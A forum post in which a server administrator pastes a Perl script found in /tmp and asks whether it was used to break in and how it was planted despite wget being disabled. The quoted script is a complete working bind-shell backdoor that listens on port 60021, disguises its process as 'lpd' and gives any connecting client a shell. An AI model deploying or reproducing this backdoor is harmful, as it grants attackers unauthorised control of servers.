Found .bs.pl in /tmp with these contents:
----------------------------------------------
#!/usr/bin/perl
# * Author:
# headflux (hf@synnergy.net)
# Synnergy Networks (c) 1999, http://www.synnergy.net
# *** Synnergy Networks
use Socket;
#rintf "BS\n";
#lush();
$port= 60021;
$proto= getprotobyname('tcp');
$cmd= "lpd";
$system= 'echo "(`whoami`@`uname -n`:`pwd`)"; /bin/sh';
$0 = $cmd;
socket(SERVER, PF_INET, SOCK_STREAM, $proto)
or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY))
or die "bind: $!";
listen(SERVER, SOMAXCONN)or die "listen: $!";
for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
{
open(STDIN, ">&CLIENT");
open(STDOUT, ">&CLIENT");
open(STDERR, ">&CLIENT");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
}
----------------------------------------------
Is this used to hack the server?
I noticed mysql going "wild" on the server moments before I noticed this script. The load went above 100.
wget is diabled on my server so I was wondering how anyone can place this script in /tmp? It was owned by nobody.
I would like to try the script in this thread: http://forums.cpanel.net/showthread....threadid=11082
in order to find the domain it was uploaded by. I tried the script but found no result as wget is already disabled on my server.
If not wget was used to put it there what else might be used?
Eivind



LinkBack URL
About LinkBacks
Reply With Quote








